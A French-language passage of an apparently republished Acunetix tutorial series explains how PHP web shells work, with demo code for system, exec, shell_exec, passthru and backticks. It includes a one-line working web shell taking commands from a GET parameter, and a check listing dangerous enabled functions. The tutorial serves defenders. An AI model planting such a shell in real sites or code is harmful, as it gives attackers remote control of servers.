Dubitinsider

for your information

Dans la partie 1 de cette série, nous avons examiné ce qu’est un shell Web et pourquoi un attaquant chercherait à en utiliser un. Dans la partie 2 de cette série, nous examinerons quelques exemples spécifiques de shells web développés en utilisant le langage de programmation PHP.

Des shells Web existent pour presque tous les langages de programmation web auxquels vous pouvez penser. Nous avons choisi de nous concentrer sur PHP car c’est le langage de programmation le plus utilisé sur le web.

Les shells web PHP ne font rien de plus qu’utiliser des fonctions PHP intégrées pour exécuter des commandes. Voici quelques-unes des fonctions les plus courantes utilisées pour exécuter des commandes shell en PHP.

Remarque: Pour les besoins de cet article, nous avons édité notre fichier hosts et pointé le domaine www.example.com vers un serveur de test.

system()

La fonction system() accepte la commande en paramètre et affiche le résultat.

L’exemple suivant sur une machine Microsoft Windows exécutera la commande dir pour renvoyer une liste de répertoire du répertoire dans lequel le fichier PHP est exécuté.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

L’exécution de la commande ls sur une machine Linux donne un résultat similaire.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

D’autres commandes ont le même effet.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

La fonction exec() accepte une commande en paramètre mais n’affiche pas le résultat. Si un deuxième paramètre facultatif est spécifié, le résultat sera renvoyé sous forme de tableau. Sinon, seule la dernière ligne du résultat sera affichée si elle est reprise.

<?php// Executes but returns nothingexec("ls -la");?>-->

Utiliser echo avec la fonction exec() n’imprimera que la dernière ligne de la sortie de la commande.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Si un deuxième paramètre est spécifié, le résultat est renvoyé dans un tableau.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

La fonction shell_exec() est similaire à exec(), cependant, elle affiche le résultat entier sous forme de chaîne.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

La fonction passthru() exécute une commande et renvoie la sortie au format raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

La fonction proc_open() peut être difficile à comprendre (vous trouverez une description détaillée de la fonction dans les documents PHP). En utilisant proc_open(), nous pouvons créer un gestionnaire (processus) qui sera utilisé pour la communication entre notre script et le programme que nous voulons exécuter.

Backticks

Étonnamment, peu de développeurs PHP en sont conscients mais PHP exécutera le contenu de backticks(`) en tant que commande shell.

Remarque: Le caractère backtick (`) ne doit pas être confondu avec le caractère de guillemets simples (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

Sur la base de ce qui précède, ce qui suit est un shell web PHP dans sa forme la plus simple.

<?php system($_GET);?>

Il utilise la fonction system() pour exécuter des commandes passées via le paramètre GET de la requête HTTP ‘cmd’.

web shells image 2

Nous avons établi que ces fonctions (et quelques autres) peuvent être très dangereuses. Ce qui est encore plus dangereux, c’est que toutes ces commandes PHP intégrées sont activées par défaut lorsque PHP est installé et que la majorité des administrateurs système ne les désactivent pas.

Si vous ne savez pas si elles sont activées sur votre système, ce qui suit renverra une liste des fonctions dangereuses activées.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

Dans une installation par défaut, nous pouvons voir que toutes les fonctions mentionnées ci-dessus sont activées.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Partie 1

Une introduction aux Shells Web

Partie 2

Shells Web 101 Utilisant PHP

Partie 3

Garder les Shells Web Sous couverture

Partie 4

Coquilles Web en action

Partie 5

Détection&Prévention

Foire aux questions

Un shell web est une petite application qu’un attaquant exécute sur votre serveur Web. Ils peuvent ensuite utiliser cette application pour accéder à distance à votre serveur et exécuter des commandes dessus. Un shell web en soi n’est jamais une attaque, c’est la suite d’une attaque réussie sur votre site Web ou votre application Web. Cela signifie que si vous avez un shell Web, vous avez un problème beaucoup plus grave à craindre.

Voyez comment fonctionne un shell web dans la pratique.

Les pirates malveillants utilisent des shells Web pour prendre le contrôle d’un serveur déjà compromis. Tout d’abord, ils exploitent une vulnérabilité dans votre site Web ou votre application Web telle que l’injection SQL, l’exécution de code à distance, ou autres. Ensuite, ils téléchargent un shell Web sur votre serveur Web. Désormais, ils peuvent exécuter toutes les commandes qu’ils aiment sur votre serveur.

Voir un exemple étape par étape d’une attaque qui conduit à un compromis complet du serveur.

Vous pouvez détecter les shells Web par analyse de journal. Cependant, vous ne devez pas vous concentrer sur la détection des shells Web, mais plutôt détecter les vulnérabilités qui peuvent permettre aux attaquants de prendre le contrôle de votre serveur. Même si vous détectez un shell Web, cela n’empêchera pas les attaquants de reprendre le contrôle si les vulnérabilités sont toujours là. Pour détecter les vulnérabilités Web et apprendre à les éliminer, utilisez Acunetix.

Découvrez ce qu’Acunetix Premium peut faire pour vous.

La meilleure façon de vous protéger contre les shells Web est de rendre impossible leur utilisation sur votre système. Vous pouvez le faire en durcissant votre serveur – en supprimant toutes les autorisations excédentaires, en bloquant les fonctions potentiellement dangereuses, en limitant l’exécution des scripts dans les répertoires de téléchargement, etc. Cependant, il est préférable de protéger le serveur contre toute compromission en utilisant Acunetix régulièrement.

En savoir plus sur la détection et la protection du shell Web.

Obtenez le dernier contenu sur la sécurité web
dans votre boîte de réception chaque semaine.

PARTAGEZ CET ARTICLE
L’AUTEUR
Agathoklis Prodromou
Administrateur/Développeur de Systèmes Web

Akis travaille dans le domaine informatique depuis plus de 13 ans, développant ses compétences d’un point de vue défensif en tant qu’Administrateur Système et Développeur Web mais aussi d’un point de vue offensif en tant que testeur de pénétration. Il détient diverses certifications professionnelles liées au piratage éthique, à la criminalistique numérique et à la réponse aux incidents.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.